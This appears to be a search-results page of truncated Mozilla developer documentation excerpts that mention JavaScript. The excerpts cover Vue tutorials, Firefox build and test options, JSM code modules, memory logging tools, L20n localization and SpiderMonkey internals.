JavaScript frameworks Next In this article we'll add a counter that displays the number of completed todo items, using a feature of Vue called computed properties. These work similarly to methods, but only re-run when one of their dependencies changes. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages, knowledge of the terminal/command line. Vue components are written as a combination of
JavaScript objects that manage the app's data and an HTML-based template syntax that maps to the underlying DOM structure. For installation, and to use some of the more advanced features of Vue (like Single File Components or render functions), you'll need a terminal with node + npm installed. Objective: To lea...
...Now if you check a ToDoItem, you should see the summary update appropriately! Summary In this article we've used a computed property to add a nice little feature to our app. We do however have bigger fish to fry -- in the next article we will look at conditional rendering, and how we can use it to show an edit form when we want to edit existing todo items. ...
Cross browser testing - Learn web development
pes of code and how to mitigate them, what tools are most useful in helping you test and fix problems, and how to use automation to speed up testing. Looking to become a front-end web developer? We have put together a course that includes all the essential information you need to work towards your goal. Get started Prerequisites You should really learn the basics of the core HTML, CSS, and
JavaScript languages first before attempting to use the tools detailed here. Guides Introduction to cross browser testing This article starts the module off by providing an overview of the topic of cross browser testing, answering questions such as "what is cross browser testing?", "what are the most common types of problems you'll encounter?", and "what are the main approaches for testing, identifying...
...ow look specifically at the common cross-browser problems you will come across in HTML and CSS code, and what tools can be used to prevent problems from happening, or fix problems that occur. This includes linting code, handing CSS prefixes, using browser dev tools to track down problems, using polyfills to add support into browsers, tackling responsive design problems, and more. Handling common
JavaScript problems Now we'll look at common cross-browser
JavaScript problems and how to fix them. This includes information on using browser dev tools to track down and fix problems, using polyfills and libraries to work around problems, getting modern
JavaScript features working in older browsers, and more. Handling common accessibility problems Next we turn our attention to accessibility, providing i...
Deploying our app - Learn web development
Previous Overview: Understanding client-side tools In the final article in our series, we take the example toolchain we built up in the previous article and add to it so that we can deploy our sample app. We push the code to GitHub, deploy it using Netlify, and even show you how to add a simple test into the process. Prerequisites: Familiarity with the core HTML, CSS, and
JavaScript languages. Objective: To finish working through our complete toolchain case study, focusing on deploying the app. Post development There's potentially a large range of problems to be solved in this section of the project's lifecycle. As such, it's important to create a toolchain that handles these problems in a way that requires as little manual intervention as possible. Here's j...
...ing happening. Integration testing, which basically says "does one block of code still work when connected to another block?" Unit testing, where small and specific bits of functionality are tested to see if they do what they are supposed to do. And many more types. Also see our cross browser testing module for a bunch of useful testing information Remember also that tests are not limited to
JavaScript; tests can be run against the rendered DOM, user interactions, CSS, and even how a page looks. However, for this project we're going to create a small test that will check the third-party NASA data feed and ensure it's in the correct format. If not, the test will fail and will prevent the project from going live. To do anything else would be beyond the scope of this module -- testing is a huge s...
Browser chrome tests
As all tests, they won't work in a build with tests disabled (--disable-tests). Running the browser chrome tests To run Mochitest, first build Mozilla with your changes; then run ./mach mochitest -f browser This will launch your build and open a "browser chrome tests" window, and report the results in the UI and to stdout. ...
...ould be: ./mach mochitest -f browser browser/base/content/test/ or without mach TEST_PATH=<path_to_the_tests> make -C <objdir> mochitest-browser-chrome To run tests in debugger the following should work ./mach mochitest -f browser --debugger gdb browser/base/content/test/ Run ./mach help mochitest-browser for more options. Writing browser chrome tests Browser chrome tests are snippets of
JavaScript code that run in the browser window's global scope. A simple test would look like this: function test() { ok(gBrowser, "gBrowser exists"); is(gBrowser.tabs.length, 1, "browser has 1 tab"); } The test() function is invoked by the test harness when the test is run. The test file can contain other functions, they will be ignored unless invoked by test(). gBrowser is set in browser.js and...
Command line options
illa.org -inspector URL Start with the DOM Inspector, if installed, and inspect the given URL (where URL is optional). -jsdebugger Start application with browser toolbox (formerly browser debugger). That is different to Venkman debugger (see option -venkman). -jsconsole Start application with the error console, or, in Firefox, the browser console. -purgecaches Gecko (layout engine) has a
JavaScript cache, which is not reset on startup, this clears it. -start-debugger-server port Firefox only. Start the debugger server on port. This will enable another instance of Firefox to connect the Firefox developer tools to this Firefox instance. See the article on remotely debugging Firefox desktop. The port argument is optional, and if it is omitted, the server will listen on port 6000. -venkman ...
... not reset on startup, this clears it. -start-debugger-server port Firefox only. Start the debugger server on port. This will enable another instance of Firefox to connect the Firefox developer tools to this Firefox instance. See the article on remotely debugging Firefox desktop. The port argument is optional, and if it is omitted, the server will listen on port 6000. -venkman Start with the
JavaScript debugger, Venkman, if installed. XULRunner -app /path/to/application.ini Start a new process running the XULRunner application at path/to. Also works with Firefox version 3 and above. --install-app path/to/myapplication.(xpi|xulapp) Installs the XULRunner application at path/to onto the system. Applications are installed into the default location for your system (e.g., Program Files, Applica...
Creating Sandboxed HTTP Connections
Setting up an HTTP connection The first step in setting up an HTTP connection from an URL (stored in a string) is to create an nsIURI out of it. nsIURI is an XPCOM representation of an URI, with useful methods to query and manipulate the URI. ...
... - the request has finished. onChannelRedirect - when a redirect happens, a new nsIChannel is created, and both the old and new ones are passed in as arguments. Since nsIStreamListener does not cover cookies, the current channel being used will need to be stored as a global, since another listener will be used for cookie notifications (covered in the next section). It is usually best to use a
JavaScript wrapper that implements all the required methods and calls the specified callback function when the connection has completed. Below is an example: // global channel var gChannel; // init the channel // the IO service var ioService = Components.classes["@mozilla.org/network/io-service;1"] .getService(Components.interfaces.nsIIOService); // create an nsIURI var uri = i...
Configuring Build Options
lt ac_add_options --enable-optimize=-O2 Chooses particular compiler optimization options. In most cases, this will not give the desired results, unless you know the Mozilla codebase very well; note, however, that if you are building with the Microsoft compilers, you probably do want this as -O1 will optimize for size, unlike GCC. ac_add_options --enable-debug Enables assertions in C++ and
JavaScript, plus other debug-only code. This can significantly slow a build, but it is invaluable when writing patches. People developing patches (especially in C++) should generally use this option. ac_add_options --disable-optimize Disables compiler optimization. This makes it much easier to step through code in a debugger. ac_add_options --enable-debug-js-modules Enable only
JavaScript assertions. T...
... significantly slow a build, but it is invaluable when writing patches. People developing patches (especially in C++) should generally use this option. ac_add_options --disable-optimize Disables compiler optimization. This makes it much easier to step through code in a debugger. ac_add_options --enable-debug-js-modules Enable only
JavaScript assertions. This is useful when working locally on
JavaScript-powered components like the DevTools. This will help catch any errors introduced into the JS code, with less of a performance impact compared to the --enable-debug option. You can make an optimized build with debugging symbols. See Building Firefox with Debug Symbols. Extensions ac_add_options --enable-extensions=default|all|ext1,ext2,-skipext3 There are many optional pieces of code that l...
Makefile - variables
EXPORTS A list of exported header files and sources to install for external use. EXPORTS_NAMESPACES Exported package include directory: dist/include/${namespace} EXPORTS_${namespace} A list of exports/headers that should be copied into the exported namespace directory. EXTRA_COMPONENTS nsDefaultCLH.manifest,
JavaScript XPCOMM files EXTRA_DSO_LIBS EXTRA_DSO_LDOPTS EXTRA_JS_MODULES EXTRA_PP_COMPONENTS XPCOMM files to pre-process before installation. GARBAGE A "clean target" macro containing a list of files to remove. GARBAGE_DIRS A "clean target" macro containing a list of dire...
...gs for enabling or overriding compiler optimizations(-O2). SOLARIS_SUNPRO_CC Sun Studio compiler Export Variables Description AUTOCFG_JS_EXPORTS EXPORTS A list of exported headers and source files for external use. HAS_EXTRA_EXPORTS PREF_JS_EXPORTS
JavaScript preferences file to export[1]. SDK_HEADERS Makefile Generation Description NO_MAKEFILE_RULE [pending] Inhibit Makefile.in deps that would allow $obj/Makefile to be generated. NO_SUBMAKEFILE_RULE [pending/redundant?] Inhibit Makefile generation within subdirectories. NO_ ...
The Firefox codebase: CSS Guidelines
The Overriding CSS section contains more information about this. Avoid magic numbers; prefer automatic sizing or alignment methods. Some examples to avoid: absolutely positioned elements hardcoded values such as: vertical-align: -2px; . The reason you should avoid such "hardcoded" values is that, they don't necessarily work for all font-size configurations. Avoid setting styles in
JavaScript. It's generally better to set a class and then specify the styles in CSS. classList is generally better than className. There's less chance of overwriting an existing class. Only use generic selectors such as :last-child, when it is what you mean semantically. If not, using a semantic class name is more descriptive and usually better. Boilerplate Make sure each file starts with the standard ...
...se the selector of the rule you are adding as it can easily become hard to understand. Finally, once you have checked all the things above, you can permit yourself to use !important along with a comment why it is needed. Using CSS variables Adding new variables Before adding new CSS variables, please consider the following questions: Is the variable value changed at runtime? (Either from
JavaScript or overriden by another CSS file) If the answer is no, consider using a preprocessor variable or simply inlining the value. Is the variable value used multiple times? If the answer is no and the value isn't changed at runtime, then you likely don't need a CSS variable. Is there an alternative to using the variable like inheriting or using the currentcolor keyword? Using inhe...
Creating Custom Events That Can Pass Data
rs and query them. For example, if you want Firefox to perform an action whenever something happens (i.e., something other than the standard mouse/keyboard events) and, depending on the data passed along with this event, you want Firefox to react differently. Note that starting with version 6, Firefox supports DOM Level 3 customEvent, which lets you dispatch custom events with arbitrary data from
JavaScript. (see bug 427537) Requirements In order to do this you must be able to do all of the following: Download Mozilla Source Code Build Mozilla Creating Custom Firefox Extensions with the Mozilla Build System. This is the foundation for everything we'll do. What's in a name Despite whatever you may have been taught in your English class, there's a lot in a name when it's an event name. As of Gecko 1...
... from nsDOMEvent. The problem that extension developers will hit is that you are not allowed derive from nsDOMEvent in an extension. You can try to rewrite code but it will have to be a lot of code because nsDOMEvent uses a lot of code outside of itself which you, again, cannot access from an extension. This remains true even if you mark you extension code as "internal". Dispatching your event in
JavaScript Here is how to dispatch your event in
JavaScript. var event = document.createEvent("nsDOMMyEvent"); event.initEvent("nsDOMMyEvent", true, true); window.dispatchEvent(event); Dispatching your event in C++ The following shows how to dispatch your event in C++: nsCOMPtr<nsIWindowWatcher> wwatcher (do_GetService("@mozilla.org/embedcomp/window-watcher;1")); // The window watcher will...
Limitations of chrome scripts
ve in the content process, so they are also inaccessible: gBrowser.docShell; // null gBrowser.selectedBrowser.docShell; // null With the shim The shim will give you a CPOW for the content object in these situations. In some situations, the content process may not be initialized when an add-on asks for access to its content. In this case, the shim will return a
JavaScript object that looks somewhat like a window or a document for about:blank. However, this "dummy" object is completely static and only exposes a few of the normal properties that windows and documents have. For this reason, add-ons that try to access content objects in fresh <browser> elements may run into trouble. To make the shim unnecessary: factor the code that needs to access content into a sep...
...omponents.utils.Sandbox) then we'll actually make it in the content process. nsIAboutModule By default, custom about: pages registered using nsIAboutModule are loaded in the chrome process. This means that you can't access their content from the content process (via XHR, for example). You can change this default in the code you use to register the about: URI. See about: and chrome: URIs.
JavaScript code modules (JSMs) In single-process Firefox, you can use
JavaScript code modules (JSMs) to maintain global state. In multiprocess Firefox, a JSM loaded into one process does not share any state with the same JSM loaded into a different process: so you can't use a JSM to share state between the chrome and content processes. If an add-on wants to use a JSM to share state in this way, it's be...
Message manager overview
The JSM can then use the child process message manager to exchange messages with the parent process message manager. This can be useful for addons to register categories, observers and components in child processes. ...
...lives in the implements nsIMessageListenerManager nsIMessageBroadcaster Child process message manager implements nsIMessageListenerManager nsIMessageSender Loading scripts per child process Since the process message managers do not support script loading the only way to implement per-child process code is to use a frame script which imports a custom
javascript module (JSM). Since
javascript modules are singletons they will only be executed once per process even when they are loaded in multiple frame scripts. The JSM can then use the child process message manager to exchange messages with the parent process message manager. This can be useful for addons to register categories, observers and components in child processes. ...
ChromeWorker
le:// URLs must first register a resource replacement path, using code like this: var fileuri = Services.io.newFileURI(file); Services.io.getProtocolHandler('resource'). QueryInterface(Ci.nsIResProtocolHandler). ...
...acement path, using code like this: var fileuri = Services.io.newFileURI(file); Services.io.getProtocolHandler('resource'). QueryInterface(Ci.nsIResProtocolHandler). setSubstitution('my-cool-addon', fileuri); var worker = new Worker('resource://my-cool-addon/worker.js'); More references: You can use ChromeWorker from
JavaScript code modules. See Using workers in
JavaScript code modules for details. You can use ChromeWorker modules in ChromeWorkers. See Using web workers for examples and details. See Also Using web workers Using workers in
JavaScript code modules Worker SharedWorker Web Workers specification WorkerGlobalScope GitHub :: ChromeWorker - A fully working demo addon using js-ctypes from a chrome worker. Uses WinAPI example. PromiseWorker ...
FileUtils.jsm
The FileUtils.jsm
JavaScript code module offers utility routines dealing with files. ...
... The FileUtils.jsm
JavaScript code module offers utility routines dealing with files. ...
NetUtil.jsm
The NetUtil.jsm
JavaScript code module provides easy-to-use APIs for performing common network related tasks. To use these utilities, you first need to import the code module into your
JavaScript scope: Components.utils.import("resource://gre/modules/NetUtil.jsm"); Once you've imported the module, you can then use its methods. Method overview nsIAsyncStreamCopier asyncCopy(nsIInputStream aSource, nsIOutputStream aSink, [optional] aCallback) void asyncFetch(aSource, aCallback) nsIChannel newChannel(aWhatToLoad, [optional] aOriginCharset, [optional] nsIURI aBaseURI) nsIURI newURI(aTarget, [optional] aOriginCharset, [optional] nsIURI aBaseURI) String readInputStreamToString(aInputStream, aCount, aOptions) Attributes Attribute ...
...ng at the first zero byte. String readInputStreamToString( aInputStream, aCount, aOptions ); Parameters aInputStream The input stream from which to read the data. aCount The number of bytes to read from the stream. You can call nsIInputStream.available() to get the number of bytes currently available. aOptions Specifies additional options to control the reading process. This is a
JavaScript object with fields as specified in Options. Options The aOptions parameter is a
JavaScript object which can have any or all of the following fields: Field name Description charset The character encoding to use when interpreting the input stream. If you don't provide this, the input won't be decoded at all and the raw bytes will be returned. replacement A ch...
OS.File.Info
the false is a symbolic link, false otherwise. (As of Firefox 38 this is always true on all systems, this is a bug: Bugzilla 1145885) (On Windows this returns false for hard links) size The number of bytes in the file. creationDate Deprecated in Bugzilla :: Bug 807875. Before deprecation, this used to be the date at which the file was created on Windows and Mac OS X, as a
JavaScript Date object. On Unix systems it was returning the last modified date and thus it was deprecated. There is talk of reinstating this with proper functionality in Bugzilla :: Bug 1167143. The creationDate can be obtained on Windows by winBirthDate and on Mac OS X by macBirthDate. On older Unix filesystems it is not possible to get a creation date as it was never stored, on new Unix filesystems creat...
... on Mac OS X by macBirthDate. On older Unix filesystems it is not possible to get a creation date as it was never stored, on new Unix filesystems creation date is stored but the method to obtain this date differs per filesystem, Bugzilla :: Bug 1167143 explores implementing solutions for all these different filesystems) lastAccessDate The Date at which the file was last accessed, as a
JavaScript Date object. Note that the definition of last access may depend on the underlying operating system and file system. lastModificationDate The Date at which the file was last modified, as a
JavaScript Date object. Platform-specific attributes Unix unixOwner A number holding the identifier of the Unix owner of this file. unixGroup A number holding the ide...
OSFile.jsm
What are the relationships with the HTML5 File API? None, really. The File API is designed for high-level, highly-restricted manipulation of files by web applications. OS.File is designed for efficient, unrestricted, manipulation of files by Firefox itself and by add-ons. ...
... What are the relationships with the HTML5 File API? None, really. The File API is designed for high-level, highly-restricted manipulation of files by web applications. OS.File is designed for efficient, unrestricted, manipulation of files by Firefox itself and by add-ons. ...
Promise.jsm
The Promise.jsm
JavaScript code module implements the Promises/A+ proposal as known in April 2013. This module was used before DOM Promises were made globally available in Gecko 29. Its usage is not suggested for new code. If you just need a Promise, consider using a DOM Promise instead. If you need a Deferred, because you want to create a Promise and manually resolve or reject it, consider using PromiseUtils.jsm instead. ...
...013. This module was used before DOM Promises were made globally available in Gecko 29. Its usage is not suggested for new code. If you just need a Promise, consider using a DOM Promise instead. If you need a Deferred, because you want to create a Promise and manually resolve or reject it, consider using PromiseUtils.jsm instead. ...
Services.jsm
The Services.jsm
JavaScript code module offers a wide assortment of lazy getters that simplify the process of obtaining references to commonly used services. To use it, you first need to import the code module into your
JavaScript scope: const {Services} = ChromeUtils.import("resource://gre/modules/Services.jsm"); Then you can obtain references to services by simply accessing them from the Services object exported by the code module. For example, to obtain a reference to the preferences service: var prefsService = Services.prefs; Provided service getters Service accessor Service interface Service name androidBridge nsIAndroidBridge 1 appinfo nsIXULAppInfo nsIXULRuntime Application information service appShell nsIAppShellService ...
...rvice Observer service perms nsIPermissionManager Permission manager service ppmm nsIMessageBroadcaster nsIProcessScriptLoader Global parent process message manager3 prefs nsIPrefBranch nsIPrefBranch2 nsIPrefService Preferences service prompt nsIPromptService Prompt service scriptloader mozIJSSubScriptLoader
JavaScript subscript loader service scriptSecurityManager nsIScriptSecurityManager Script security manager search nsIBrowserSearchService Browser search service startup nsIAppStartup Application startup service storage mozIStorageService Storage API service strings nsIStringBundleService String bundle service sysinfo nsIP...
Task.jsm
Tasks are built upon generator functions and promises. The Task.spawn() function takes a generator function and starts running it as a task. Every time the task yields a promise, it waits until the promise is resolved. ...
... Tasks are built upon generator functions and promises. The Task.spawn() function takes a generator function and starts running it as a task. Every time the task yields a promise, it waits until the promise is resolved. ...
openLocationLastURL.jsm
This object lets you fetch and change the URL that is placed in the "Open Location" dialog box when it opens. ...
...This object lets you fetch and change the URL that is placed in the "Open Location" dialog box when it opens. ...
GC and CC logs
n about why various JS and C++ objects are alive in the heap. Garbage collector logs and cycle collector logs can be analyzed in various ways. In particular, CC logs can be used to understand why the cycle collector is keeping an object alive. These logs can either be manually or automatically generated, and they can be generated in both debug and non-debug builds. This logs the contents of the
Javascript heap to a file named gc-edges-NNNN.log. It also creates a file named cc-edges-NNNN.log to which it dumps the parts of the heap visible to the cycle collector, which includes native C++ objects that participate in cycle collection, as well as JS objects being held alive by those C++ objects. Generating logs From within Firefox To manually generate GC and CC logs, navigate to about:memory and us...
...fault, the file is created in some temp directory, and the path to the file is printed to the Error Console. To log every cycle collection, set the MOZ_CC_LOG_ALL environment variable. To log only shutdown collections, set MOZ_CC_LOG_SHUTDOWN. To make all CCs verbose, set MOZ_CC_ALL_TRACES to "all", or to "shutdown" to make only shutdown CCs verbose. Live GC logging can be enabled with the pref
javascript.options.mem.log. Output to a file can be controlled with the MOZ_GCTIMER environment variable. See the Statistics API page for details on values. Set the environment variable MOZ_CC_LOG_THREAD to main to only log main thread CCs, or to worker to only log worker CCs. The default value is all, which will log all CCs. To get cycle collector logs on Try server, set MOZ_CC_LOG_DIRECTORY to MOZ_UPLOA...
JS::PerfMeasurement
ad and even modify. All presently-measurable events are measured with counters, not timers; that is, there is no defined relation between the numbers you get from this interface, and wall-clock time. PerfMeasurement* JS::ExtractPerfMeasurement(jsval wrapper) If you are the C++ side of an XPCOM interface, and you want to benchmark only part of your execution time but make the results available to
JavaScript, you can declare a bare jsval argument in your .idl file and have
JavaScript pass a PerfMeasurement object that it created in that argument slot. The jsval you receive points to a
JavaScript wrapper object. To extract the C++-level PerfMeasurement object, call this function. It will return NULL if
JavaScript passed in something with the wrong dynamic type. JSObject* JS::RegisterPerfMeasurement...
... argument slot. The jsval you receive points to a
JavaScript wrapper object. To extract the C++-level PerfMeasurement object, call this function. It will return NULL if
JavaScript passed in something with the wrong dynamic type. JSObject* JS::RegisterPerfMeasurement(JSContext* cx, JSObject* global) You shouldn't need to use this function, but we mention it for completeness. It initializes the
JavaScript wrapper interface for this API and pokes the constructor function into the global object you provide. ...
TimerFirings logging
period, measured in milliseconds. Finally there is the identifying information for the timer. Function timers have an informative label. Interface and observer timers only have an address, which is less useful, but they are uncommon enough that this usually doesn't matter much. The above example shows only timers from C++ within Gecko. There are also timers for setTimer or setInterval calls in
JavaScript code, as the following sample shows. -991946880[7f46c365ba00]: [6775] fn timer (ONE_SHOT 0 ms): [content] chrome://browser/content/tabbrowser.xml:1816:0 711637568[7f3219c48000]: [6835] fn timer (ONE_SHOT 100 ms): [content] http://edition.cnn.com/:5:7231 711637568[7f3219c48000]: [6835] fn timer (ONE_SHOT 100 ms): [content] http://a.visualrevenue.com/vrs.js:6:9423 These JS timer...
...They can come from chrome code within Firefox, or from web content. The informative labels are only present on function timers that have had their creation site annotated. For unannotated function timers, there are three possible behaviours. First, on Mac the code uses dladdr to get the name immediately, and the output will look like the following. 2082...
TraceMalloc
589 66478 3.67 nsHTMLDocument.mReferrer 177 21550 691 85460 514 63910 3.53 nsHTMLValue 139 7846 1215 68734 1076 60888 3.36 HTMLContentSink 6 4816 12 57782 6 52966 2.92 uncategorized.pl, which lists all the void* allocations (the ones that couldn't be categorized by type), sorted by size. Also, your
JavaScript can call the following DOM window methods: TraceMallocDisable() - turn off tracing, first flushing any buffered log events for all log files. TraceMallocEnable() - turn on tracing. TraceMallocOpenLogFile(filename) - open a new log file and return its log file descriptor (or -1 on error). TraceMallocChangeLogFD(logfd) - change the current log file to the one identified by logfd, returning the...
...can also use the leakstats program to analyze a log for shutdown leaks. It will produce a report like the following. Leaks: 382739 bytes, 3465 allocations Maximum Heap Size: 7751799 bytes 62095212 bytes were allocated in 391091 allocations. Detecting memory usage growth in a running process To do this, dump the existing allocations to a file by calling the function TraceMallocDumpAllocations from
JavaScript. You can use the following web page to do so. <script type="text/
javascript"> var filename = window.prompt("Filename to log: "); if (filename) TraceMallocDumpAllocations(filename); </script> One can then use the script tools/trace-malloc/diffbloatdump.pl to compare trace-malloc dumps before and after doing an action that might leak. If there are significant differences, it might be...
Performance
oft's Xperf tool to profile Mozilla code. Profiling with Concurrency Visualizer How to use Visual Studio's Concurrency Visualizer tool to profile Mozilla code. Profiling with Zoom Zoom is a profiler for Linux done by the people who made Shark Measuring performance using the PerfMeasurement.jsm code module Using PerfMeasurement.jsm to measure performance data in your
JavaScript code. Adding a new Telemetry probe Information on how to add a new measurement to the Telemetry performance-reporting system Profiling
JavaScript with Shark (obsolete - replaced by Instruments) How to use the Mac OS X Shark profiler to profile
JavaScript code in Firefox 3.5 or later. Profiling with Shark (obsolete - replaced by Instruments) How to use Apple's Shark t...
...gs such as wakeups. ...
Preference reference
slash behind domain name (if the open page is exactly the domain name) are hidden.dom.event.clipboardevents.enableddom.event.clipboardevents.enabled lets websites get notifications if the user copies, pastes, or cuts something from a web page, and it lets them know which part of the page had been selected. The emitting of the oncopy, oncut and onpaste events are controlled by this preference.
javascript.options.showInConsoleThe preference
javascript.options.showInConsole controls whether errors or warnings in chrome code are shown in the Error Console.
javascript.options.strictTechnical review completed.mail.tabs.drawInTitlebarStarting in Thunderbird 17.0, the tabs are drawn in the title bar. The old behavior can be restored by setting the preference mail.tabs.drawInTitlebar to false.nglayout.deb...
...is used.nglayout.debug.disable_xul_cacheTo improve performance, Mozilla caches chrome XUL documents the first time they load for faster loading later. The effect is that the source XML file is not read and re-parsed each time the chrome in question is displayed. The XUL cache is serialized and saved between Mozilla sessions in the XUL FastLoad file, which saves a "compiled" version of the XUL and
JavaScript in a document to disk for faster startup the next time the application runs.reader.parse-on-load.force-enabledThe preference reader.parse-on-load.force-enabled controls if the reader mode used in Firefox Mobile should be enabled independent of the memory available in the device. By default, the reader mode in Firefox Mobile is only enabled if the memory is greater than 384MB.ui.alertNotificationO...
JSHydra
Documentation Installing JSHydra Download, installation and dependency info for JSHydra Community View JSHydra Forums... ...
... Documentation Installing JSHydra Download, installation and dependency info for JSHydra Community View JSHydra Forums... ...
Localization Use Cases
20n, the English string could be as simple as: <availableSize "{{ $size }} {{ $unit }} available"> On the other hand, the Italian translation would make use of proper pluralization rules: <plural($n) { $n == 1 ? "one" : "other" }> <availableSize[plural($size)] { one: "{{ $size }} {{ $unit }} disponibile", other: "{{ $size }} {{ $unit }} disponibili" }> So far, so good. The
JavaScript code hasn't changed yet, but there's another improvement that can be introduced, which is described below. Asymmetry The example above could benefit from another of L20n's features: local variables. In L20n, localization files can be asymmetrical and have more entities that the source language. You'll notice that DeviceStorageHelper.showFormatedSize passes a localized name of the unit to avail...
...yteUnit-KB = KB byteUnit-MB = MB byteUnit-GB = GB byteUnit-TB = TB For example in French, the unit abbreviations are as follows: byteUnit-B = o byteUnit-KB = Ko byteUnit-MB = Mo byteUnit-GB = Go byteUnit-TB = To Solution In L20n, the French localizer could provide the translation of unit abbreviations locally in the localization file, without impacting the English localization file. In the
JavaScript code, the developer needs to pass sizeInfo.unit instead of a localized value: function showFormatedSize(element, l10nId, size) { // ... element.textContent = document.l10n.get(l10nId, { size: sizeInfo.size, unit: sizeInfo.unit }); } And then use the $unit variable verbatim in the English message: <availableSize "{{ $size }} {{ $unit }} available"> In French, the localizer can ...
L20n
Introducing L20n L20n reinvents software localization. Users should be able to benefit from the entire expressive power of the natural language. L20n keeps simple things simple, and at the same time makes complex things possible. Through L20n, Mozilla is creating a new generation of technology that places more power in localizers' hands. ...
...ve: "Firefoxu", instrumental: "Firefoxom" }> <about "O {{ brandName.locative }}"> For Developers Documentation for developers wanting to implement localization functionality on their web apps using L20n. Internationalization for your web app First read for developers looking to use the L20n infrastructure. L20n's HTML bindings Tutorial on implementing L20n in your HTML code. L20n
JavaScript API An API for l20n.js. L20n syntax cheatsheet for developers A simple cheatsheet to help developers as they add L20n to their localization infrastructure. For Localizers Documentation for Localizers creating localized content for a project that uses L20n. Learn the L20n syntax How to naturally localize applications using L20n. Complete with use cases and examples of L20n in action. ...
Leak And Bloat Tests
This will run the tests and produce some result files. See Debugging Memory Leaks for more information on what to do with this data. TODO: add more information on processing output. ...
...on on what to do with this data. TODO: add more information on processing output. ...
NSS Tools modutil
, and the cipher flags. The JAR file should also contain any files to be installed on the target machine, including the PKCS #11 module library file and other files such as documentation. See the section JAR Installation File for information on creating the special script needed to perform an installation through a server or with the Security Module Database Tool (that is, in environments without
JavaScript support). For general installation instructions and to install a module in environments where
JavaScript support is available (as in Netscape Communicator), see the document Using the JAR Installation Manager to Install a PKCS #11 Cryptographic Module. -delete modulename Delete the named module. Note that you cannot delete the Netscape Communicator internal PKCS #11 module. -changepw tokennam...
... This information file contains special scripting and must be declared in the JAR archive's manifest file. The script can have any name. The metainfo tag for this is Pkcs11_install_script. To declare meta-information in the manifest file, put it in a file that is passed to the Netscape Signing Tool. Sample Script ...
Rhino FAQ
For instance, to create an array of java.lang.String of length five, do var stringArray = java.lang.reflect.Array.newInstance(java.lang.String, 5); Then if you wish to assign the string "hi" to the first element, simply execute stringArray[0] = "hi". Creating arrays of primitive types is slightly different: you must use the TYPE field. For example, creating an array of seven ints can be done with the code var intArray = java.lang.reflect.Array.newInstance(java.lang.Integer.TYPE, 7); When I try to execute a script I get the exception Required security context missing. ...
...s slightly different: you must use the TYPE field. For example, creating an array of seven ints can be done with the code var intArray = java.lang.reflect.Array.newInstance(java.lang.Integer.TYPE, 7); When I try to execute a script I get the exception Required security context missing. What's going on? You've likely missed placing the Security.properties file in your class path at org.mozilla.
javascript.resources. Can I use Rhino in a web browser? Rhino is a library for Java use, and not for general web browsers. However, a Java-based browser may use Rhino with scripts from a page in the same manner that any other Java program would. ...
Rhino history
Rhino gets its name from the animal on the cover of the O'Reilly book about
JavaScript. The Rhino project was started at Netscape in the autumn of 1997. At the time, Netscape was planning to produce a version of Navigator written entirely in Java and so it needed an implementation of
JavaScript written in Java. When Netscape stopped work on "Javagator," as it was called, somehow Rhino escaped the axe (rumor had it that the executives "forgot" it existed). For a time, a couple of major companies (including Sun) licensed Rhino for use in their products and paid Netscape to do so, allowing work on Rhino to continue. Now Rhino is part of Mozilla's open-source repository. Originally, Rhino compiled all
JavaScript code to Java bytecodes in generated classfiles. This produced the best performance...
...rgot" it existed). For a time, a couple of major companies (including Sun) licensed Rhino for use in their products and paid Netscape to do so, allowing work on Rhino to continue. Now Rhino is part of Mozilla's open-source repository. Originally, Rhino compiled all
JavaScript code to Java bytecodes in generated classfiles. This produced the best performance (often beating the C implementation of
JavaScript when run on a JIT), but suffered from two faults. First, compilation time was long since generating Java bytecodes and loading the generated classes was a heavyweight process. Also, the implementation effectively leaked memory since most JVMs don't really collect unused classes or the strings that are interned as a result of loading a class file. So in fall of 1998, Rhino added an interpretive m...
Shumway
means for the community of developers currently creating the Adobe Flash platform. The project is not exactly a developer tool but it is something that content creators should test against (and report bugs or performance issues to). For even more information, please refer to the external links. The whats and whys of Shumway Shumway is a renderer for Adobe Flash built entirely in Web Standards (
JavaScript, WebGL, and others). It is currently available as an extension and as a component in Firefox's Nightly builds that can be enabled through about:config (you need to find the shumway.disabled preference and set it to false). It is expected to be included in Firefox at some point to allow plugin-free compatibility with SWF-based games and animations. Shumway has certain limitations compared to Adobe...
...ut Flash is no longer supported by Adobe. To emphasize a point: the current behavior is that Shumway works on any SWF file unless (or until) the Adobe Flash Player plugin is activated. Shumway is made with the same constraints as any website. Users who disable Flash because of security or performance concerns can still see content through Shumway because it cannot be forced to behave worse than
JavaScript (and WebGL, etc.) allows. Users with Shumway enabled will still see your Flash content, if compatible with Shumway, even if Flash Player is installed but blocked. Testing and what to do in case of trouble The first step is to directly test your Flash content. The simple method is to install the Shumway extension (or run a browser version with Shumway included and enabled) and browse to your Fla...
GCIntegration - SpiderMonkey Redirect 1
n how they will affect Gecko code that uses JSAPI. At a high level, there are three issues to be aware of: Interactions between the garbage collector and the cycle collector Incremental garbage collection Moving garbage collection The APIs for GC/CC interaction and incremental GC are already in place. Development of moving GC (both generational and compacting) is under way, but only in the
JavaScript shell so far. We're still thinking about how the APIs for moving GC should work. Overview Before digging too deep, here are some quick rules of thumb for how to write code that will work smoothly with the GC regardless of changes that happen in the future. Avoid having C++ objects that point to JS objects (unless it's just to their own wrapper--that's okay). It's safe for JS objects to point...
...r a write barrier. If a pointer is a root, then that pointer will be scanned during every nursery collection, so there is no need for a write barrier. As above, this means that classes governed by NS_DECL_CYCLE_COLLECTION_SCRIPT_HOLDER_CLASS do not need a write barrier on their fields. We have not decided yet on an API for write barriers. We don't know yet how many there will be outside of the
JavaScript engine. ody> ...
Bytecodes
Background SpiderMonkey bytecodes are the canonical form of code representation that is used in the
JavaScript engine. The
JavaScript frontend constructs an AST from the source text, then emits stack-based bytecodes from that AST as a part of the JSScript data structure. Bytecodes can reference atoms and objects (typically by array index) which are also contained in the JSScript data structure. Within the engine, all bytecode execute within a stack frame -- even global (top-level) and eval code has a stack frame associated with it. A frame on the stack has space for
JavaScript Values (the tagged value format) in a few different categories. ...
... Bytecodes can reference atoms and objects (typically by array index) which are also contained in the JSScript data structure. Within the engine, all bytecode execute within a stack frame -- even global (top-level) and eval code has a stack frame associated with it. A frame on the stack has space for
JavaScript Values (the tagged value format) in a few different categories. The space for a single
JavaScript value is called a "slot", so the categories are: Argument slots: holds the actual arguments passed to the current frame. Local slots: holds the local variables used by the current code. Expression slots: holds the temporary space that you need to calculate expressions on a stack. For example, in (a + b) + c you would push a, then push b, then add, then push c, then add, which requires a maxim...
SpiderMonkey Internals: Thread Safety
